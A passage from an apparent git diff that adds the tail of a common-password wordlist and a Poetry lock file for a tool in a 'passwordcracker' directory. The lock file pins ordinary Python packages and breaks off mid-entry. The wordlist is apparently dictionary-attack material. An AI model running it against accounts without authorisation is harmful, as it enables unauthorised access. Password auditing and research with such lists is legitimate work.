+13092006
+13091963
+130858
+13082001
+13081308
+13078
+130773
+13072006
+13071967
+13071964
+13070
+130663
+13061967
+13061961
+13061957
+13061954
+13051969
+13051952
+130499
+130465
+130455
+130398
+130371
+130363
+130358
+130355
+13032002
+13031999
+13031951
+1302alex1994
+130265
+130258
+13021959
+13021957
+13021100
+130175
+13012005
+13012002
+13011958
+12qwer34
+12many
+12gauge
+12ab34cd
+12891
+1286091
+128256512
+12781278
+127777
+127562
+127549
+127486
+127001
+125712571257d
+12567
+125555
+12533
+125125125
+1245780
+12441244
+123zxc456
+123yfcnz
+123wert
+123to123
+123qwerty456
+123qwe45
+123qwe4
+123qazwsxedc
+123pass
+123iop
+123go
+123ddd
+12391239
+123789a
+123789852
+123654123
+1236540
+1234zx
+1234r
+123490
+12345zzz
+12345zxcv
+12345www
+12345six
+12345M
+12345lox
+12345love
+12345ira
+12345den
+123456oe
+123456az
+1234567g
+1234567e
+1234567aa
+12345678n
+123456789Z
+1234567899876543
+123456789123456
+123456789101112
+1234567890l
+1234567890g
+1234567890123
+1234567812345678
+123456654321a
+1234562
+123442
+12344
+123434
+1233456
+123321v
+123312
+12325
+123164
+123160
+123154
+123123qw
+123_123
+12311994
+123070
+123061
+123056
+1230456
+122977
+12291229
+122779
+122757
+122699
+122566
+122491
+122477
+122470
+122400
+12234
+122087
+122071
+122001
+121971
+121969
+121959
+121881
+121880
+12182
+121783
+121774
+121695
+121586
+121581
+121576
+121478
+12141
+121357
+121351
+121314a
+12131415q
+12127
+121264
+12122007
+12122006
+12121956
+12121313
+121198
+12116av
+121156
+12111948
+12109
+121062
+12101962
+12101960
+121004
+120971
+120958
+120956
+120934
+120867
+120864
+12081957
+12081956
+12081953
+120803
+12078
+120763
+120748
+12071954
+12071953
+120667
+12061959
+120599
+120566
+12051960
+12051956
+120455
+12041952
+120405
+120366
+120364
+12032000
+12031955
+12031954
+120271
+120266
+120258
+120254
+12021959
+120208
+120171
+120164
+120156
+12011958
+12011951
+11eleven
+11921192
+11791179
+117463
+11711bbl
+116611
+11561156
+115500
+11461146
+113611
+11339977
+113366
+113344
+113300
+11321132
+113082
+112879
+112790
+112683
+112674
+11261126
+112611
+112568
+112566
+11251983
+112470
+112467
+112396
+112321
+112300
+112290
+112282
+112277
+112268
+11226
+1122112
+112181
+112178
+11215
+112131
+112011
+111991
+111968
+111958
+111674
+111555999
+11151115
+111376
+111354
+11131113
+111251
+111234
+11121964
+11121957
+11121956
+1111zz
+1111qqq
+111141
+11111956
+11111948
+111111v
+111111d
+11111111q
+1111111111111
+111110
+111095
+11101110
+11101
+110998
+11092000
+11091955
+11091109
+110902
+110901
+11088
+110853
+11081955
+110806
+110801
+11078
+110768
+110765
+110757
+11072008
+11071999
+11071961
+11071956
+11071954
+11071107
+110707
+110666
+11062009
+11061951
+110567
+110559
+110469
+110461
+110455
+11041960
+11041958
+110397
+110395
+110370
+110354
+11031958
+11031953
+11029
+110265
+110263
+110258
+110168
+110157
+11012002
+11011956
+11011954
+1100101
+110000
+10xby49k
+10toes
+10904
+1071988
+10617906
+105400
+1051983
+1047977
+1038
+103099
+103050
+103030
+102969
+102767
+102680
+102583
+102571
+102570
+102503
+102484
+102473
+102399
+10236
+102300
+102294
+10221022
+102200
+102178
+102171
+102101
+102081
+102070
+101abn
+101977
+101967
+101962
+101949
+101886
+101818
+101781
+10166
+101579
+101566
+10152417
+101489
+101400
+101298
+101261
+101260
+101253
+10121960
+101219
+1012010
+101162
+101153
+10112001
+10111950
+101110
+10107
+101054
+101048
+101025
+1010198
+10101962
+10101010m
+101006
+10098
+100960
+100955
+10092009
+10091954
+100896
+100873
+100872
+100871
+100854
+100844
+10081999
+10081955
+10081954
+10080
+100769
+100761
+10072003
+10071959
+10071956
+10071955
+10071954
+10071949
+100705
+100658
+100655
+10062006
+10062001
+10061955
+100605
+10058
+100563
+100560
+10052001
+100468
+10042010
+10042008
+10042000
+10041957
+10041954
+1003198
+10031950
+100297
+100264
+100257
+10022007
+10022006
+10021956
+10021955
+100199
+100163
+100161
+100156
+10011959
+100106
+0wnz
+0995359291
+0987654a
+0981
+092002
+091986
+091979
+091878
+091865
+09141974
+09140914
+091295
+091278
+091265
+09121961
+09121957
+091199
+09111998
+091067
+091064
+091057
+09102001
+09101999
+09101960
+090998
+090973
+090967
+09092006
+09091966
+090895
+090893
+090865
+090862
+090861
+09081958
+09080908
+090776
+090775
+09072000
+09071957
+09071953
+090708
+090676
+090666
+090664
+09061958
+090573
+090568
+090555
+090494
+090469
+090371
+090364
+09031968
+09031965
+09031957
+090282
+090279
+090274
+090265
+090264
+09021955
+090199
+09011969
+09011955
+0899
+0898
+089089
+0890
+0881
+08800880
+0878
+0852123
+082280
+081989
+081983
+081980
+081299
+081270
+081260
+08121958
+081173
+081096
+08101997
+080968
+080967
+080962
+08092001
+08091961
+08091954
+08090809
+08088
+08081956
+080800
+08072002
+08071959
+080700
+080665
+08061960
+080597
+080566
+080559
+080474
+080471
+080468
+08042000
+08041960
+08041959
+080369
+080368
+080367
+080362
+080361
+08031949
+08031947
+080270
+080268
+080252
+080250
+08022001
+08021956
+080195
+080176
+080169
+080167
+08011958
+08011954
+0789
+0771
+077077
+0768
+0747
+0735
+072000
+071956
+071377
+071297
+071271
+071266
+071265
+07122006
+07121965
+07121956
+071203
+07111967
+071095
+071094
+071093
+071091
+07101961
+07101956
+070973
+070967
+070962
+07091959
+070874
+070862
+070859
+07082004
+07081953
+070798
+070796
+07072001
+070679
+070669
+070667
+070666
+07061964
+07061955
+070608
+070575
+070573
+070571
+070569
+070565
+070562
+07051968
+07051952
+070499
+070495
+070464
+07042001
+07042000
+07041955
+07031969
+07031967
+070297
+070278
+07021958
+07021957
+07021954
+070191
+070175
+070171
+070162
diff --git a/cmd/passwordcracker/poetry.lock b/cmd/passwordcracker/poetry.lock
new file mode 100644
index 0000000..4098272
--- /dev/null
+++ b/cmd/passwordcracker/poetry.lock
@@ -0,0 +1,3903 @@
+# This file is automatically @generated by Poetry and should not be changed by hand.
+
+[[package]]
+name = "aio-pika"
+version = "8.3.0"
+description = "Wrapper for the aiormq for asyncio and humans."
+category = "main"
+optional = false
+python-versions = ">3.6, <4"
+files = [
+ {file = "aio-pika-8.3.0.tar.gz", hash = "sha256:c0e2601eda6a1097fe1d33c5f9965a86a27b328ac48914d20c23f675b3ab1797"},
+ {file = "aio_pika-8.3.0-py3-none-any.whl", hash = "sha256:36c4742449f1cbcb83165b3733b090cf88f3d2f7f027225eedb8c7f300b05dde"},
+]
+
+[package.dependencies]
+aiormq = ">=6.6.3,<6.7.0"
+yarl = "*"
+
+[package.extras]
+develop = ["aiomisc (>=16.0,<17.0)", "coverage (!=4.3)", "coveralls", "nox", "pylava", "pytest", "pytest-cov", "shortuuid", "sphinx", "sphinx-autobuild", "timeout-decorator", "tox (>=2.4)"]
+
+[[package]]
+name = "aioboto3"
+version = "10.4.0"
+description = "Async boto3 wrapper"
+category = "main"
+optional = false
+python-versions = ">=3.7,<4.0"
+files = [
+ {file = "aioboto3-10.4.0-py3-none-any.whl", hash = "sha256:6d0f0bf6af0168c27828e108f1a24182669a6ea6939437c27638caf06a693403"},
+ {file = "aioboto3-10.4.0.tar.gz", hash = "sha256:e52b5f96b67031ddcbabcc55015bad3f851d3d4e6d5bfc7a1d1518d90e0c1fd8"},
+]
+
+[package.dependencies]
+aiobotocore = {version = "2.4.2", extras = ["boto3"]}
+
+[package.extras]
+chalice = ["chalice (>=1.24.0)"]
+s3cse = ["cryptography (>=2.3.1)"]
+
+[[package]]
+name = "aiobotocore"
+version = "2.4.2"
+description = "Async client for aws services using botocore and aiohttp"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "aiobotocore-2.4.2-py3-none-any.whl", hash = "sha256:4acd1ebe2e44be4b100aa553910bda899f6dc090b3da2bc1cf3d5de2146ed208"},
+ {file = "aiobotocore-2.4.2.tar.gz", hash = "sha256:0603b74a582dffa7511ce7548d07dc9b10ec87bc5fb657eb0b34f9bd490958bf"},
+]
+
+[package.dependencies]
+aiohttp = ">=3.3.1"
+aioitertools = ">=0.5.1"
+boto3 = {version = ">=1.24.59,<1.24.60", optional = true, markers = "extra == \"boto3\""}
+botocore = ">=1.27.59,<1.27.60"
+wrapt = ">=1.10.10"
+
+[package.extras]
+awscli = ["awscli (>=1.25.60,<1.25.61)"]
+boto3 = ["boto3 (>=1.24.59,<1.24.60)"]
+
+[[package]]
+name = "aiohttp"
+version = "3.8.4"
+description = "Async http client/server framework (asyncio)"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "aiohttp-3.8.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:5ce45967538fb747370308d3145aa68a074bdecb4f3a300869590f725ced69c1"},
+ {file = "aiohttp-3.8.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b744c33b6f14ca26b7544e8d8aadff6b765a80ad6164fb1a430bbadd593dfb1a"},
+ {file = "aiohttp-3.8.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1a45865451439eb320784918617ba54b7a377e3501fb70402ab84d38c2cd891b"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a86d42d7cba1cec432d47ab13b6637bee393a10f664c425ea7b305d1301ca1a3"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ee3c36df21b5714d49fc4580247947aa64bcbe2939d1b77b4c8dcb8f6c9faecc"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:176a64b24c0935869d5bbc4c96e82f89f643bcdf08ec947701b9dbb3c956b7dd"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c844fd628851c0bc309f3c801b3a3d58ce430b2ce5b359cd918a5a76d0b20cb5"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5393fb786a9e23e4799fec788e7e735de18052f83682ce2dfcabaf1c00c2c08e"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:e4b09863aae0dc965c3ef36500d891a3ff495a2ea9ae9171e4519963c12ceefd"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:adfbc22e87365a6e564c804c58fc44ff7727deea782d175c33602737b7feadb6"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:147ae376f14b55f4f3c2b118b95be50a369b89b38a971e80a17c3fd623f280c9"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:eafb3e874816ebe2a92f5e155f17260034c8c341dad1df25672fb710627c6949"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c6cc15d58053c76eacac5fa9152d7d84b8d67b3fde92709195cb984cfb3475ea"},
+ {file = "aiohttp-3.8.4-cp310-cp310-win32.whl", hash = "sha256:59f029a5f6e2d679296db7bee982bb3d20c088e52a2977e3175faf31d6fb75d1"},
+ {file = "aiohttp-3.8.4-cp310-cp310-win_amd64.whl", hash = "sha256:fe7ba4a51f33ab275515f66b0a236bcde4fb5561498fe8f898d4e549b2e4509f"},
+ {file = "aiohttp-3.8.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3d8ef1a630519a26d6760bc695842579cb09e373c5f227a21b67dc3eb16cfea4"},
+ {file = "aiohttp-3.8.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5b3f2e06a512e94722886c0827bee9807c86a9f698fac6b3aee841fab49bbfb4"},
+ {file = "aiohttp-3.8.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3a80464982d41b1fbfe3154e440ba4904b71c1a53e9cd584098cd41efdb188ef"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8b631e26df63e52f7cce0cce6507b7a7f1bc9b0c501fcde69742130b32e8782f"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3f43255086fe25e36fd5ed8f2ee47477408a73ef00e804cb2b5cba4bf2ac7f5e"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4d347a172f866cd1d93126d9b239fcbe682acb39b48ee0873c73c933dd23bd0f"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a3fec6a4cb5551721cdd70473eb009d90935b4063acc5f40905d40ecfea23e05"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:80a37fe8f7c1e6ce8f2d9c411676e4bc633a8462844e38f46156d07a7d401654"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:d1e6a862b76f34395a985b3cd39a0d949ca80a70b6ebdea37d3ab39ceea6698a"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:cd468460eefef601ece4428d3cf4562459157c0f6523db89365202c31b6daebb"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:618c901dd3aad4ace71dfa0f5e82e88b46ef57e3239fc7027773cb6d4ed53531"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:652b1bff4f15f6287550b4670546a2947f2a4575b6c6dff7760eafb22eacbf0b"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:80575ba9377c5171407a06d0196b2310b679dc752d02a1fcaa2bc20b235dbf24"},
+ {file = "aiohttp-3.8.4-cp311-cp311-win32.whl", hash = "sha256:bbcf1a76cf6f6dacf2c7f4d2ebd411438c275faa1dc0c68e46eb84eebd05dd7d"},
+ {file = "aiohttp-3.8.4-cp311-cp311-win_amd64.whl", hash = "sha256:6e74dd54f7239fcffe07913ff8b964e28b712f09846e20de78676ce2a3dc0bfc"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:880e15bb6dad90549b43f796b391cfffd7af373f4646784795e20d92606b7a51"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb96fa6b56bb536c42d6a4a87dfca570ff8e52de2d63cabebfd6fb67049c34b6"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4a6cadebe132e90cefa77e45f2d2f1a4b2ce5c6b1bfc1656c1ddafcfe4ba8131"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f352b62b45dff37b55ddd7b9c0c8672c4dd2eb9c0f9c11d395075a84e2c40f75"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7ab43061a0c81198d88f39aaf90dae9a7744620978f7ef3e3708339b8ed2ef01"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c9cb1565a7ad52e096a6988e2ee0397f72fe056dadf75d17fa6b5aebaea05622"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:1b3ea7edd2d24538959c1c1abf97c744d879d4e541d38305f9bd7d9b10c9ec41"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:7c7837fe8037e96b6dd5cfcf47263c1620a9d332a87ec06a6ca4564e56bd0f36"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:3b90467ebc3d9fa5b0f9b6489dfb2c304a1db7b9946fa92aa76a831b9d587e99"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:cab9401de3ea52b4b4c6971db5fb5c999bd4260898af972bf23de1c6b5dd9d71"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:d1f9282c5f2b5e241034a009779e7b2a1aa045f667ff521e7948ea9b56e0c5ff"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-win32.whl", hash = "sha256:5e14f25765a578a0a634d5f0cd1e2c3f53964553a00347998dfdf96b8137f777"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-win_amd64.whl", hash = "sha256:4c745b109057e7e5f1848c689ee4fb3a016c8d4d92da52b312f8a509f83aa05e"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:aede4df4eeb926c8fa70de46c340a1bc2c6079e1c40ccf7b0eae1313ffd33519"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ddaae3f3d32fc2cb4c53fab020b69a05c8ab1f02e0e59665c6f7a0d3a5be54f"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c4eb3b82ca349cf6fadcdc7abcc8b3a50ab74a62e9113ab7a8ebc268aad35bb9"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9bcb89336efa095ea21b30f9e686763f2be4478f1b0a616969551982c4ee4c3b"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c08e8ed6fa3d477e501ec9db169bfac8140e830aa372d77e4a43084d8dd91ab"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c6cd05ea06daca6ad6a4ca3ba7fe7dc5b5de063ff4daec6170ec0f9979f6c332"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b7a00a9ed8d6e725b55ef98b1b35c88013245f35f68b1b12c5cd4100dddac333"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:de04b491d0e5007ee1b63a309956eaed959a49f5bb4e84b26c8f5d49de140fa9"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:40653609b3bf50611356e6b6554e3a331f6879fa7116f3959b20e3528783e699"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:dbf3a08a06b3f433013c143ebd72c15cac33d2914b8ea4bea7ac2c23578815d6"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:854f422ac44af92bfe172d8e73229c270dc09b96535e8a548f99c84f82dde241"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-win32.whl", hash = "sha256:aeb29c84bb53a84b1a81c6c09d24cf33bb8432cc5c39979021cc0f98c1292a1a"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-win_amd64.whl", hash = "sha256:db3fc6120bce9f446d13b1b834ea5b15341ca9ff3f335e4a951a6ead31105480"},
+ {file = "aiohttp-3.8.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:fabb87dd8850ef0f7fe2b366d44b77d7e6fa2ea87861ab3844da99291e81e60f"},
+ {file = "aiohttp-3.8.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:91f6d540163f90bbaef9387e65f18f73ffd7c79f5225ac3d3f61df7b0d01ad15"},
+ {file = "aiohttp-3.8.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:d265f09a75a79a788237d7f9054f929ced2e69eb0bb79de3798c468d8a90f945"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d89efa095ca7d442a6d0cbc755f9e08190ba40069b235c9886a8763b03785da"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4dac314662f4e2aa5009977b652d9b8db7121b46c38f2073bfeed9f4049732cd"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:fe11310ae1e4cd560035598c3f29d86cef39a83d244c7466f95c27ae04850f10"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6ddb2a2026c3f6a68c3998a6c47ab6795e4127315d2e35a09997da21865757f8"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e75b89ac3bd27d2d043b234aa7b734c38ba1b0e43f07787130a0ecac1e12228a"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6e601588f2b502c93c30cd5a45bfc665faaf37bbe835b7cfd461753068232074"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a5d794d1ae64e7753e405ba58e08fcfa73e3fad93ef9b7e31112ef3c9a0efb52"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:a1f4689c9a1462f3df0a1f7e797791cd6b124ddbee2b570d34e7f38ade0e2c71"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:3032dcb1c35bc330134a5b8a5d4f68c1a87252dfc6e1262c65a7e30e62298275"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:8189c56eb0ddbb95bfadb8f60ea1b22fcfa659396ea36f6adcc521213cd7b44d"},
+ {file = "aiohttp-3.8.4-cp38-cp38-win32.whl", hash = "sha256:33587f26dcee66efb2fff3c177547bd0449ab7edf1b73a7f5dea1e38609a0c54"},
+ {file = "aiohttp-3.8.4-cp38-cp38-win_amd64.whl", hash = "sha256:e595432ac259af2d4630008bf638873d69346372d38255774c0e286951e8b79f"},
+ {file = "aiohttp-3.8.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5a7bdf9e57126dc345b683c3632e8ba317c31d2a41acd5800c10640387d193ed"},
+ {file = "aiohttp-3.8.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:22f6eab15b6db242499a16de87939a342f5a950ad0abaf1532038e2ce7d31567"},
+ {file = "aiohttp-3.8.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:7235604476a76ef249bd64cb8274ed24ccf6995c4a8b51a237005ee7a57e8643"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ea9eb976ffdd79d0e893869cfe179a8f60f152d42cb64622fca418cd9b18dc2a"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92c0cea74a2a81c4c76b62ea1cac163ecb20fb3ba3a75c909b9fa71b4ad493cf"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:493f5bc2f8307286b7799c6d899d388bbaa7dfa6c4caf4f97ef7521b9cb13719"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0a63f03189a6fa7c900226e3ef5ba4d3bd047e18f445e69adbd65af433add5a2"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:10c8cefcff98fd9168cdd86c4da8b84baaa90bf2da2269c6161984e6737bf23e"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bca5f24726e2919de94f047739d0a4fc01372801a3672708260546aa2601bf57"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:03baa76b730e4e15a45f81dfe29a8d910314143414e528737f8589ec60cf7391"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:8c29c77cc57e40f84acef9bfb904373a4e89a4e8b74e71aa8075c021ec9078c2"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:03543dcf98a6619254b409be2d22b51f21ec66272be4ebda7b04e6412e4b2e14"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:17b79c2963db82086229012cff93ea55196ed31f6493bb1ccd2c62f1724324e4"},
+ {file = "aiohttp-3.8.4-cp39-cp39-win32.whl", hash = "sha256:34ce9f93a4a68d1272d26030655dd1b58ff727b3ed2a33d80ec433561b03d67a"},
+ {file = "aiohttp-3.8.4-cp39-cp39-win_amd64.whl", hash = "sha256:41a86a69bb63bb2fc3dc9ad5ea9f10f1c9c8e282b471931be0268ddd09430b04"},
+ {file = "aiohttp-3.8.4.tar.gz", hash = "sha256:bf2e1a9162c1e441bf805a1fd166e249d574ca04e03b34f97e2928769e91ab5c"},
+]
+
+[package.dependencies]
+aiosignal = ">=1.1.2"
+async-timeout = ">=4.0.0a3,<5.0"
+attrs = ">=17.3.0"
+charset-normalizer = ">=2.0,<4.0"
+frozenlist = ">=1.1.1"
+multidict = ">=4.5,<7.0"
+yarl = ">=1.0,<2.0"
+
+[package.extras]
+speedups = ["Brotli", "aiodns", "cchardet"]
+
+[[package]]
+name = "aioitertools"
+version = "0.11.0"
+description = "itertools and builtins for AsyncIO and mixed iterables"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "aioitertools-0.11.0-py3-none-any.whl", hash = "sha256:04b95e3dab25b449def24d7df809411c10e62aab0cbe31a50ca4e68748c43394"},
+ {file = "aioitertools-0.11.0.tar.gz", hash = "sha256:42c68b8dd3a69c2bf7f2233bf7df4bb58b557bca5252ac02ed5187bbc67d6831"},
+]
+
+[[package]]
+name = "aiormq"
+version = "6.6.4"
+description = "Pure python AMQP asynchronous client library"
+category = "main"
+optional = false
+python-versions = ">=3.7,<4.0"
+files = [
+ {file = "aiormq-6.6.4-py3-none-any.whl", hash = "sha256:9fb93dc871eb9c45a410e29669624790c01b70d27f20d512a22b146c411440ea"},
+ {file = "aiormq-6.6.4.tar.gz", hash = "sha256:95835a4db6117263305d450f838ccdc3eabd427c0deb32fd617769ad4c989e98"},
+]
+
+[package.dependencies]
+pamqp = "3.2.1"
+yarl = "*"
+
+[[package]]
+name = "aiosignal"
+version = "1.3.1"
+description = "aiosignal: a list of registered asynchronous callbacks"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "aiosignal-1.3.1-py3-none-any.whl", hash = "sha256:f8376fb07dd1e86a584e4fcdec80b36b7f81aac666ebc724e2c090300dd83b17"},
+ {file = "aiosignal-1.3.1.tar.gz", hash = "sha256:54cd96e15e1649b75d6c87526a6ff0b6c1b0dd3459f43d9ca11d48c339b68cfc"},
+]
+
+[package.dependencies]
+frozenlist = ">=1.1.0"
+
+[[package]]
+name = "anyio"
+version = "3.6.2"
+description = "High level compatibility layer for multiple asynchronous event loop implementations"
+category = "main"
+optional = false
+python-versions = ">=3.6.2"
+files = [
+ {file = "anyio-3.6.2-py3-none-any.whl", hash = "sha256:fbbe32bd270d2a2ef3ed1c5d45041250284e31fc0a4df4a5a6071842051a51e3"},
+ {file = "anyio-3.6.2.tar.gz", hash = "sha256:25ea0d673ae30af41a0c442f81cf3b38c7e79fdc7b60335a4c14e05eb0947421"},
+]
+
+[package.dependencies]
+idna = ">=2.8"
+sniffio = ">=1.1"
+
+[package.extras]
+doc = ["packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd-theme"]
+test = ["contextlib2", "coverage[toml] (>=4.5)", "hypothesis (>=4.0)", "mock (>=4)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (<0.15)", "uvloop (>=0.15)"]
+trio = ["trio (>=0.16,<0.22)"]
+
+[[package]]
+name = "async-timeout"
+version = "4.0.2"
+description = "Timeout context manager for asyncio programs"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "async-timeout-4.0.2.tar.gz", hash = "sha256:2163e1640ddb52b7a8c80d0a67a08587e5d245cc9c553a74a847056bc2976b15"},
+ {file = "async_timeout-4.0.2-py3-none-any.whl", hash = "sha256:8ca1e4fcf50d07413d66d1a5e416e42cfdf5851c981d679a09851a6853383b3c"},
+]
+
+[[package]]
+name = "asyncpg"
+version = "0.27.0"
+description = "An asyncio PostgreSQL driver"
+category = "main"
+optional = false
+python-versions = ">=3.7.0"
+files = [
+ {file = "asyncpg-0.27.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:fca608d199ffed4903dce1bcd97ad0fe8260f405c1c225bdf0002709132171c2"},
